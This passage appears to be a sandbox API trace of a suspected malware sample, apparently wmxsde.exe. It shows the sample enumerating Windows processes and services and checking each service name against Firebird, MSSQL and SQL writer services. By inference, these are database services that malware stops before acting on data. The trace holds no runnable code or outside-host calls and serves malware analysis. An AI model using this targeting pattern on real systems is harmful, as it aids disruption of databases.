[0205.202] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0205.202] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0205.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0205.202] lstrlenW (lpString="SysMain") returned 7 [0205.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0205.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0205.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0205.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0205.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0205.202] lstrlenW (lpString="SystemEventsBroker") returned 18 [0205.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0205.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0205.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0205.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0205.203] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617448 | out: hHeap=0x5c0000) returned 1 [0205.203] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e4 [0205.382] Process32FirstW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.383] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.384] lstrlenW (lpString="System") returned 6 [0205.384] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.385] lstrlenW (lpString="smss.exe") returned 8 [0205.385] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.386] lstrlenW (lpString="csrss.exe") returned 9 [0205.386] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.387] lstrlenW (lpString="wininit.exe") returned 11 [0205.387] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.387] lstrlenW (lpString="csrss.exe") returned 9 [0205.388] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.388] lstrlenW (lpString="winlogon.exe") returned 12 [0205.388] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.389] lstrlenW (lpString="services.exe") returned 12 [0205.389] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.390] lstrlenW (lpString="lsass.exe") returned 9 [0205.390] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0205.391] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0205.391] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0205.393] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0205.393] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.394] lstrlenW (lpString="svchost.exe") returned 11 [0205.394] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.394] lstrlenW (lpString="svchost.exe") returned 11 [0205.395] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.395] lstrlenW (lpString="dwm.exe") returned 7 [0205.395] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.396] lstrlenW (lpString="svchost.exe") returned 11 [0205.396] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.397] lstrlenW (lpString="svchost.exe") returned 11 [0205.397] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.398] lstrlenW (lpString="svchost.exe") returned 11 [0205.398] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.399] lstrlenW (lpString="svchost.exe") returned 11 [0205.399] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.400] lstrlenW (lpString="svchost.exe") returned 11 [0205.400] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.401] lstrlenW (lpString="svchost.exe") returned 11 [0205.401] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.402] lstrlenW (lpString="svchost.exe") returned 11 [0205.402] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.403] lstrlenW (lpString="svchost.exe") returned 11 [0205.403] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.403] lstrlenW (lpString="svchost.exe") returned 11 [0205.404] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.404] lstrlenW (lpString="svchost.exe") returned 11 [0205.404] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0205.405] lstrlenW (lpString="spoolsv.exe") returned 11 [0205.405] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.406] lstrlenW (lpString="svchost.exe") returned 11 [0205.406] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.407] lstrlenW (lpString="audiodg.exe") returned 11 [0205.605] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0205.606] lstrlenW (lpString="sihost.exe") returned 10 [0205.606] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.607] lstrlenW (lpString="svchost.exe") returned 11 [0205.607] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0205.608] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0205.608] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0205.609] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0205.609] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0205.610] lstrlenW (lpString="Memory Compression") returned 18 [0205.610] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0205.611] lstrlenW (lpString="taskhostw.exe") returned 13 [0205.611] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0205.612] lstrlenW (lpString="msoia.exe") returned 9 [0205.612] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.613] lstrlenW (lpString="explorer.exe") returned 12 [0205.613] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0205.614] lstrlenW (lpString="SearchUI.exe") returned 12 [0205.614] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0205.615] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0205.615] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0205.616] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0205.616] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0205.617] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0205.617] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0205.618] lstrlenW (lpString="wmxsde.exe") returned 10 [0205.618] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0205.619] lstrlenW (lpString="wmxsde.exe") returned 10 [0205.619] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.620] lstrlenW (lpString="svchost.exe") returned 11 [0205.620] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.621] lstrlenW (lpString="cmd.exe") returned 7 [0205.621] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.622] lstrlenW (lpString="conhost.exe") returned 11 [0205.622] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.622] lstrlenW (lpString="cmd.exe") returned 7 [0205.623] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.623] lstrlenW (lpString="conhost.exe") returned 11 [0205.624] Process32NextW (in: hSnapshot=0x2e4, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0205.624] CloseHandle (hObject=0x2e4) returned 1 [0205.624] Sleep (dwMilliseconds=0x1f4) [0206.304] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fec88 [0206.305] EnumServicesStatusExW (in: hSCManager=0x5fec88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0206.306] GetLastError () returned 0xea [0206.306] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ca4) returned 0x63b478 [0206.307] EnumServicesStatusExW (in: hSCManager=0x5fec88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63b478, cbBufSize=0x1ca4, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63b478, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0206.308] CloseServiceHandle (hSCObject=0x5fec88) returned 1 [0206.308] lstrlenW (lpString="Appinfo") returned 7 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0206.308] lstrlenW (lpString="AppXSvc") returned 7 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0206.309] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0206.309] lstrlenW (lpString="Audiosrv") returned 8 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0206.309] lstrlenW (lpString="BFE") returned 3 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0206.309] lstrlenW (lpString="BITS") returned 4 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0206.310] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0206.310] lstrlenW (lpString="CDPSvc") returned 6 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0206.310] lstrlenW (lpString="ClickToRunSvc") returned 13 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0206.310] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0206.310] lstrlenW (lpString="CryptSvc") returned 8 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0206.311] lstrlenW (lpString="DcomLaunch") returned 10 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0206.311] lstrlenW (lpString="DeviceAssociationService") returned 24 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0206.311] lstrlenW (lpString="Dhcp") returned 4 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0206.311] lstrcmpiW (lpString1="sqlwriter", 